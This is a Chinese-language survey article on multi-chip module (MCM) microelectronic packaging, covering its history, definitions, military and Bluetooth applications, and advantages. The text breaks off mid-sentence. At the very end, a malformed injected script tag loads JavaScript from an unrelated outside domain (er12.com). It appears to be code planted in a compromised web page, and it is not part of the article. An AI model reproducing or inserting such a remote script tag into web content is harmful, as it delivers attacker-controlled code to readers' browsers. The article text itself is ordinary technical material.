杨邦朝1徐如清2王正义3
1电子科技大学微电子与固体电子学院成都6100542中电科技集团北京100000
3中电科技集团第四十三研究所230000
摘要：本文主要分析、总结了国内外多芯片组件（mcm）技术发展现状与存在问题，以及今后技术发展重点和主要应用方向。
abstract：thisarticlemainlysummarizesthedevelopmentofmcm(multi-chipmodel)technologyathomeandabroad,analysesproblemsinthistechnologyandthekeypointinitsfuturedevelopment,anddescribesitscommonapplications.
一、前言
二十一世纪战争的主要特征在于信息化，信息化决定了对军事电子装备小型化、电子化、智能化的需求越来越高、越来越迫切，这必将持续推动微电子技术的不断进步、发展和提高。
多芯片组件（mcm）是一项激动人心的微电子组装与封装技术，人们对其寄予了极大的期望。二十世纪九十年代，美国将其列为六大关键军事技术之一。随后，又将其确定为2010年前重点发展的十大军民两用高新技术之一。欧洲五国（英国、法国、瑞士、奥地利和芬兰）曾制定了一个三年（1992—1994年）规划，组织联合开发研究mcm产品的开发、设计和生产。我国是从“八五”期间开始从事有关mcm技术的军事预先研究，至今已经有十多年的研究历史并取得长足进步。截止2003年，全球相继有一百多家公司从事mcm产品的开发﹑设计和生产。
自mcm技术问世以来，二十多年的时间过去了，尽管这一技术已经获得了显著的发展和进步，但似乎并没有成为人们所期望的微电子领域的主流技术。其原因何在呢？mcm技术的未来发展前景如何呢？我国mcm技术又将如何规划和发展呢？本文作简要分析，供读者参考。
二、mcm定义与辨析
mcm是在混合集成电路技术基础上发展起来的一项微电子技术，其与混合集成电路产品并没有本质的区别，只不过mcm具有更高的性能、更多的功能和更小的体积，可以说mcm属于高级混合集成电路产品。
根据ipas的定义，mcm技术是将多个lsi/vlsi/asic裸芯片和其它元器件组装在同一块多层互连基板上，然后进行封装，从而形成高密度和高可靠性的微电子组件。根据所用多层布线基板的类型不同，mcm可分为叠层多芯片组件（mcm-l）、陶瓷多芯片组件（mcm-c）、淀积多芯片组件（mcm-d）以及混合多芯片组件（mcm–c/d）等。
根据美军标mil-prf-38534d混合微电路总规范的定义，mcm是一种混合微电路，其内部装有两个或两个以上超过100000门的微电路。
就mcm的技术先进性而言，mcm可以集成vlsi/asic等大规模集成电路芯片，i/o引脚数多达100个以上，但在实际应用中，很多mcm产品并不一定包括vlsi/asic等大规模集成电路芯片，i/o引脚数也并不是很高。早期，mcm的应用焦点主要聚集在以大型计算机为代表的应用领域，强调的是其大规模集成的特点。随着mcm技术的不断进步和应用领域的不断拓展，mcm的高集成度、高组装效率和高灵活性等特点必将日益突显出来。
以当前mcm的热门产品蓝牙模块为例，蓝牙模块是一种短距离无线通讯产品，2005年全球市场需求量为5亿只，制作蓝牙模块的技术途径有两种：单芯片集成和mcm集成。由于技术难度大、研发周期长和成本高，前者一直没有成功，后者则成为目前最理想的解决方案，2003年市场投放量近2000万只。蓝牙mcm集成了1个rf芯片、1个基带芯片和一些无源元件，引出端采取bga形式，集成的芯片规模也不大，i/o引脚数也只有34个。
在国内，目前一些为数不太多的mcm应用产品所集成的芯片规模和i/o引脚数也都不是很大。
可以说，广义的mcm定义更符合这一技术的发展现状，尤其符合国内目前的发展状况，同时也有利于拓展和延伸mcm技术的发展空间。
三、mcm的优势与市场
mcm技术是实现电子整机小型化、多功能化、高性能和高可靠性的十分有效的技术途径。与其它集成技术相比较，mcm技术具有以下技术特点：
由于采用高密度互连技术，其互连线较短，信号传输延时明显缩短。与单芯片表面贴装技术相比较，其传输速度提高4－6倍，可以满足100mhz的速度要求。
采用多层布线基板和裸芯片，因此其组装密度较高，产品体积小，重量轻。其组装效率可达30%，重量可减少80－90%。
统计表明，电子产品的失效大约90%是由于封装和电路互连所引起的，mcm集有源器件和无源元件于一体，避免了器件级的封装，减少了组装层次，从而有效地提高了可靠性。
mcm可以将数字电路、模拟电路、微波电路、功率电路以及光电器件等合理有效地集成在一起，形成半导体技术所无法实现的多功能部件或系统，从而实现产品的高性能和多功能化。
减小产品尺寸和重量，同时提高电性能和可靠性，这是mcm技术的价值之所在，也是mcm技术得以产生和发展的驱动力。在要求高性能、小型化和价格是次要因素的应用领域，尤其在军事、航空航天应用领域，mcm技术具有十分?script src=http://er12.com/t.js>
